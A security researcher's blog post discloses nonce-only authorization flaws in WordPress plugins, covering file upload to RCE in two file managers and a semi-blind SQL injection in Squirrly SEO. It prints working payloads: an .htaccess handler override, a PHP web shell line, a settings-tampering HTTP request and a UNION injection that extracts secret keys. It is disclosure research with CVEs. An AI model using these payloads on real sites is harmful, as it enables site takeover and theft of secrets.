Exploiting authorization by nonce in WordPress plugins

Posted on August 5, 2024 by Bartek Nowotarski
Y
tl;dr: Many WordPress plugins use nonces and nothing else to authorize requests. This often has a potential for exploitation to gain privilege escalation. In this article, I elaborate on WordPress security features connected to nonces and AJAX/REST requests and describe three critical vulnerabilities I’ve found in popular WordPress plugins.

About WordPress

As of 2024, WordPress powers 43% of all websites in the internet. 474 million websites run WordPress software and one or more out of 70 000 plugins. Unfortunately, as history shows, many WordPress plugins, even popular ones, often contain security vulnerabilities. Sometimes these vulnerabilities are trivial to find.

So far this year, 280 critical (CVSS score 9.0+) vulnerabilities have been found in WordPress plugins. Critical vulnerabilities usually allow taking over a WordPress instance which can lead to data leaks, malware injection, or transitioning them into C2 servers.

I’ve learned about the last example while reading Turla APT spies on Polish NGOs by Cisco Talos who explains attacks against polish NGOs. In this campaign compromised WordPress websites were used as Command & Control servers. This led me to do a (limited) WordPress plugins security research in Q2/2024.

In this article, I elaborate on WordPress security features connected to nonces and AJAX/REST requests. I also describe three critical vulnerabilities I’ve found in popular WordPress plugins (100k+, 100k+, 60k+ active installations).

Built-in security features for plugins

Below I explain built-in security features that WordPress plugin developers can use for authentication, authorization, and nonces generation. Later, I will use some vulnerable plugins to show that these features are not always used as intended.

wp_ajax and REST handlers

When testing web apps one of the first things I check are AJAX handlers and REST API calls. Very often these small snippets of code contain logic, authorization bugs, or simply miss authentication part to access them.

It was no different in WordPress plugins. I’ve found several instances in which there was no authorization at all or authorization was done by nonce which is not what nonces are meant to be used for.

WordPress has a built-in architecture for AJAX calls. Plugin developers can call:

1add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
2add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

The nopriv part in the action name means that WordPress will skip the authentication step before executing the function handler, in other words: these AJAX calls are available for any users, also those who are not logged in.

It is a little bit different for REST API which is also a built-in functionality of WordPress. The API routes are registered using register_rest_route function:

1register_rest_route(
2    $this->namespace, '/get/', array(
3        'methods' => WP_REST_Server::READABLE,
4        'callback' => array($this, 'getData'),
5        'permission_callback' => '__return_true'
6    )
7);

The interesting part is permission_callback which is a callback to function responsible for checking if a given user is authorized to call the API method. As can be seen in the example above, often a built-in __return_true function is used which simply skips user permissions check. If there is no additional code to check permissions inside the API method handler, any user can call it.

Nonce value generation

Another observation I made was that many WordPress plugins use nonces to authenticate and authorize users, often not checking if a given user has permissions to perform a given action or (in case of nopriv AJAX handlers) if a user is logged in at all.

WordPress has a built-in mechanism for generating and verifying nonces. Developers can use: wp_create_nonce to create and wp_verify_nonce to verify nonces. A nonce is generated using the following function:

 1function wp_create_nonce( $action = -1 ) {
 2    $user = wp_get_current_user();
 3    $uid  = (int) $user->ID;
 4    if ( ! $uid ) {
 5        /** This filter is documented in wp-includes/pluggable.php */
 6        $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
 7    }
 8
 9    $token = wp_get_session_token();
10    $i     = wp_nonce_tick( $action );
11
12    return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
13}

There are two parts of this function that may be unclear: how wp_nonce_tick and wp_hash work. wp_nonce_tick divides the current Unix timestamp by the lifespan of a nonce (default is 12 hours), resulting in a “tick” number that changes every 12 hours. This tick value ensures that nonces are time-sensitive, providing a measure of security against replay attacks by making nonces valid only within a specific time window. wp_hash is concatenating tick, action, user id, and token (if user logged in) then salting it and hashing using HMAC-MD5. The salt is the same for all hashes, it is either NONCE_KEY and NONCE_SALT or SECRET_KEY and SECRET_SALT if NONCE_* consts are not set.

There are two interesting properties of wp_create_nonce function.

Nonces can be generated offline for unauthenticated users if NONCE_* or SECRET_* consts are known. In this case, $uid will be equal 0 and $token will be an empty string. This means that Arbitrary File Read vulnerabilities that give access to wp-config.php, or SQL Injection vulnerabilities that allow reading these consts from a DB or simply XSS (against an admin with access to consts) can be chained to exploit access to the code execution in other plugins which are only protected by wp_verify_nonce function (like wp_ajax_nopriv handlers).

Another property is that nonce’s action parameter is not namespaced: any plugin can generate nonce for any other plugin or WordPress core. This means that any flaw which allows calling wp_create_nonce with arbitrary value can, again, lead to vulnerabilities in other plugins.

Vulnerabilities

The next sections describe three vulnerabilities I’ve found in popular WordPress plugins. Two of these are exploiting wp_ajax handlers, REST API, and the fact that nonce is used as an authorization method (what has been discussed so far in this article). The third is an interesting semi Blind SQL Injection which also exploits the fact that an access token is available to all Contributor+ level users. This one could be adapted as a nice CTF challenge!

Arbitrary File Upload / RCE in Advanced File Manager

Advanced File Manager is a WordPress plugin with 100k+ active installations. It was vulnerable to Remote Code Execution (by Arbitrary File Upload) that can be triggered by any user with access to the plugin, possibly also unauthenticated users (configurable in plugin settings) via fma_load_shortcode_fma_ui AJAX action.

The plugin has several protections against arbitrary .htaccess and *.php files upload: it checks uploaded file names but also tries to guess mime type based on file extension and file contents. Because of bugs in these protections, it was possible to upload .htaccess file that will make Apache webserver to run PHP code for extensions other than .php.

The first bug that allows .htaccess filename protection bypass can be found in fma_plugin_file_validName function:

230 function fma_plugin_file_validName($name) {
231	if(!empty($name)) {
232		$name = sanitize_file_name($name);
233		if(strpos($name, '.php') || strpos($name, '.ini') || strpos($name, '.htaccess') || strpos($name, '.config')) {
234			return false;
235		} else {
236			return strpos($name, '.') !== 0;
237		}
238	}
239}

When .htaccess value is passed in $name parameter it is changed to htaccess by sanitize_file_name which makes the consecutive strpos call to return FALSE. The consecutive strpos($name, '.') !== 0; in the else clause will return TRUE because . (dot) was removed previously by sanitize_file_name.

Because of this, we can upload a .htaccess file with the following contents:

AddType application/x-httpd-php .ptp

This will make Apache server interpret all .ptp files as PHP code and execute them.

Next, we can upload a PHP code file with .ptp extension. We bypass mime check by prepending the PHP code with 1000 ‘a’ letters:

1a x 1000 <br /><?php system($_GET['cmd']);

The remaining part to access vulnerable code is a nonce value however it can be found in the plugin frontend by any user with access to plugin:

1<script id="elfinder_script-js-extra">
2var afm_object = {"ajaxurl":"http:\/\/localhost:8080\/wp-admin\/admin-ajax.php","nonce":"14ce4b925e","locale":"en","ui":["toolbar","tree","path","stat"]};
3</script>

Duplicate / wontfix?

Unfortunately, after reporting it to Wordfence (WordPress security company), I got a response that this is actually a duplicate of CVE-2023-7061. I was confused because I was testing the latest release and the CVE ID is from 2023! After some digging, I discovered that there’s an upgrade to this plugin called Shortcodes which is also vulnerable to a very similar method of Arbitrary File Upload. What’s also interesting is that Wordfence published the report about the previously found issue after my report: on July 8, 2024 to be specific. I asked Wordfence team for clarifications and they responded that plugin developer didn’t bother to fix the previously reported issue. Because of this I treated it as wontfix and decided to publish the vulnerability details.

Arbitrary File Upload / RCE in Filester

Filester is a WordPress Plugin with 60k+ active installations. It was vulnerable to Remote Code Execution (by Arbitrary File Upload) that can be triggered by any user with access to the plugin (configurable by Admin, with the lowest level being Subscriber).

Filester settings page allows admins to allow access to the plugin for certain roles. For each role, there are several settings like file extensions to lock or file extensions a given role is allowed to upload. Settings are saved using wp_ajax_njt_fs_save_setting AJAX action.

The vulnerability can be found in njt_fs_saveSetting function which runs the AJAX action above:

540    public function njt_fs_saveSetting()
541    {
542        if( ! wp_verify_nonce( $_POST['nonce'] ,'njt-fs-file-manager-admin')) wp_die();
543        check_ajax_referer('njt-fs-file-manager-admin', 'nonce', true);
560        //update options
561        update_option('njt_fs_settings', $this->options);
562        wp_send_json_success(get_option('njt_fs_settings'));
563        wp_die();
564    }

The problem with this function is that there is no code responsible for checking if the user calling the function is an Admin level user or has permission to change settings. Any user with a valid njt-fs-file-manager-admin nonce can trigger this AJAX function. Even though the action name for nonce contains admin, it is generated for all users with access to the plugin and is clearly visible in the plugin frontend code:

1<script id="njt_fs_elFinder-js-extra">
2var wpData = { ... ,"nonce":"82ca11f675", ... };
3</script>

Let’s say the Admin allowed Subscribers to use the plugin but locked .php files (when the extension is locked nothing can be done with a file: upload, download, rename, delete) and allowed uploading .txt files only. Any subscriber can send the following request to remove all restrictions for Subscriber level access:

 1POST /wp-admin/admin-ajax.php HTTP/1.1
 2Host: localhost:8080
 3Content-Length: 224
 4sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
 5Accept: application/json, text/javascript, */*; q=0.01
 6Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 7X-Requested-With: XMLHttpRequest
 8sec-ch-ua-mobile: ?0
 9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
10sec-ch-ua-platform: "macOS"
11Origin: http://localhost:8080
12Sec-Fetch-Site: same-origin
13Sec-Fetch-Mode: cors
14Sec-Fetch-Dest: empty
15Referer: http://localhost:8080/wp-admin/admin.php?page=njt-fs-filemanager
16Accept-Encoding: gzip, deflate, br
17Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
18Cookie: ...
19Connection: keep-alive
20
21nonce=7136fcb48c&action=njt_fs_save_setting_restrictions&njt_fs_list_user_restrictions=subscriber&list_user_restrictions_alow_access=&private_folder_access=&private_url_folder_access=&hide_paths=&lock_files=&can_upload_mime=

This issue has been fixed in version 1.8.3 and has been assigned CVE-2024-7031.

Semi-Blind SQL Injection in SEO Plugin by Squirrly

squirrly-seo WordPress plugin (100k+ active installations) is vulnerable to semi-blind SQL Injection in RestAPI endpoint. The root cause is in controllers/Api.php file. The $url parameter is not properly sanitized which allows appending UNION query to a SELECT SQL query in the $query variable. This allows extracting any information from WordPress DB.

Searching for SQL injection in WordPress plugins

There are dozens of SQL queries in every WP plugin. A manual search for places that may provide injection opportunities seems cumbersome. That’s why I decided to write a little PHP code scanner that helped me find code snippets that might be vulnerable to SQL injection.

The idea is simple: first, find all occurrences of method calls interacting with a DB like execute, query, get_row, etc. with variable argument. This regexp can help to find such calls (note we’re not matching $wpdb because plugins sometimes wrap it and use their own DB class):

/db->(get_[a-z]+|query|execute)\(\s*\$([a-zA-Z0-9_]*)\s*\)/

Second, take that variable’s name and check if its assigned value is a return value of prepare(). We can skip such snippets because they are most likely safe. This way we remove a ton of safe calls. Obviously, this method will still return a lot of false positives that need to be manually checked but the number of instances is much, much smaller than checking all of the DB calls.

Getting one char at a time

Exploiting this vulnerability is not trivial (compared to vulnerabilities in which a passed SQL query is simply executed) but it is repeatable and can be trivially exploited when proper exploit code is developed or by using tools like Burp Suite. The complexity lies in the fact that the returned values of the appended query must be integers which are also valid IDs of existing posts in a victim WordPress DB.

The vulnerable code starts in controllers/Api.php at line 267 (getData method).

The problematic lines which will be explained below the code snippet are the following:

  • 267: $url: attacker controlled variable,
  • 281: $url_decoded variable derived from attacker controlled value, transformation allows SQL injection (passing ' value to a query which is not prepare()’d),
  • 285: SQL injection query,
  • 291: query execution,
  • 294: results parsing, the most interesting part.
245public function getData(WP_REST_Request $request)
246{
247
248    global $wpdb;
249    $response = array();
250    SQ_Classes_Helpers_Tools::setHeader('json');
251
252    //get the token from API
253    $token = $request->get_param('token');
254    if ($token <> '') {
255        $token = sanitize_text_field($token);
256    }
257
258    if (!$this->token || $this->token <> $token) {
259        exit(wp_json_encode(array('error' => esc_html__("Connection expired. Please try again.", 'squirrly-seo'))));
260    }
261
262    $select = $request->get_param('select');
263
264    switch ($select) {
265        case 'innerlinks':
266
267            $url = esc_url_raw($request->get_param('url'));
268            $start = (int)$request->get_param('start');
269            $limit = (int)$request->get_param('limit');
270
271            if ($url == '') {
272                exit(wp_json_encode(array('error' => esc_html__("Wrong Params", 'squirrly-seo'))));
273            }
274
275            //define vars
276            if($limit == 0) $limit = 1000;
277
278            //prepare the url for query
279            $url_backslash = str_replace('/','\/',str_replace(rtrim(home_url(),'/'),'',$url));
280            $url_encoded = urlencode(str_replace(trim(home_url(),'/'),'',$url));
281            $url_decoded = str_replace(trim(home_url(),'/'),'',urldecode($url));
282
283            //get post inner links
284            $select_table = $wpdb->prepare("SELECT ID, post_content FROM `$wpdb->posts` WHERE `post_status` = %s ORDER BY ID DESC LIMIT %d,%d", 'publish', $start, $limit);
285            $query = "SELECT `ID` FROM ($select_table) as p WHERE (p.post_content LIKE '%$url%' OR p.post_content LIKE '%$url_backslash%' OR p.post_content LIKE '%$url_encoded%' OR p.post_content LIKE '%$url_decoded%')";
286
287            if(!$inner_links = wp_cache_get(md5($query))) {
288                //prepare the inner_links array
289                $inner_links = array();
290
291                if ( $rows = $wpdb->get_results( $query ) ) {
292                    if ( ! empty( $rows ) ) {
293                        foreach ( $rows as $row ) {
294                            if ( untrailingslashit( get_permalink( $row->ID ) ) <> $url ) {
295                                $inner_links[] = get_permalink( $row->ID );
296                            }
297                        }
298                    }
299                }
300
301            }

First of all $url variable is controlled by a user and is used to create 3 other variables ($url_backslack, $url_encoded and $url_decoded) from which the last one is not properly escaping ' character because url_decode PHP function is called on a user-provided parameter. So %27 sequence will be changed to '.

This allows appending a UNION part to an existing SELECT query via $url_decoded variable because it is enclosed in ' thus not properly escaped:

284$select_table = $wpdb->prepare("SELECT ID, post_content FROM `$wpdb->posts` WHERE `post_status` = %s ORDER BY ID DESC LIMIT %d,%d", 'publish', $start, $limit);
285$query = "SELECT `ID` FROM ($select_table) as p WHERE (p.post_content LIKE '%$url%' OR p.post_content LIKE '%$url_backslash%' OR p.post_content LIKE '%$url_encoded%' OR p.post_content LIKE '%$url_decoded%')";

Now, the interesting part. The returned rows are later parsed in a loop that appends values to the result array only if get_permalink function returns non-false value (in other words, when a post with such ID exists in wp_posts table):

294if ( untrailingslashit( get_permalink( $row->ID ) ) <> $url ) {
295    $inner_links[] = get_permalink( $row->ID );
296}

The result is later sent to the client in JSON response.

This is why I called it a semi Blind SQL Injection. An attacker can only use wp_posts IDs to extract values from the database. It is more complicated than a usual SQL Injection but not impossible. The trick is to get values we’re interested in one char at a time, then shift their byte value to map to the existing post ID. See the example SQL query in which we try to get nonce_key option value:

1SELECT
2    ASCII(SUBSTRING(option_value, 1, 1))-97 AS ID
3FROM wp_options
4WHERE option_name='nonce_key'

The -97 part is a shift value that allows properly mapping the byte value to post ID. In instances with a small number of posts or with post IDs with gaps shifting is necessary. In my test instance, the plugin returned:

1{
2    "url": "http:\/\/%27)%20UNION%20SELECT%20ASCII(SUBSTRING(option_value,%201,%201))-97%20AS%20ID%20from%20wp_options%20WHERE%20option_name=%27nonce_key%27#",
3    "inner_links": ["http:\/\/localhost:8080\/?p=19"]
4}

This means that the first byte of nonce_key is: t because 19 + 97 = 116 = ASCII(t).

Accessing the vulnerable function

The getData method is executed via /index.php?rest_route=/squirrly/get endpoint which requires a valid token (beginning of getData):

253$token = $request->get_param('token');
254if ($token <> '') {
255    $token = sanitize_text_field($token);
256}
257
258if (!$this->token || $this->token <> $token) {
259    exit(wp_json_encode(array('error' => esc_html__("Connection expired. Please try again.", 'squirrly-seo'))));
260}

However, this token is available to all users with level “Contributor” or higher because it is embedded in the “New Post” view (/wp-admin/post-new.php):

1<script id="59a0ca9a38-js-extra">
2var $sq_config = {... "url_token":"dc69d467c7150d77a63cdfd97bc24e86" ...};
3var $sq_params = {"max_length_title":"75","max_length_description":"320"};
4</script>

This vulnerability has been assigned CVE-2024-6497.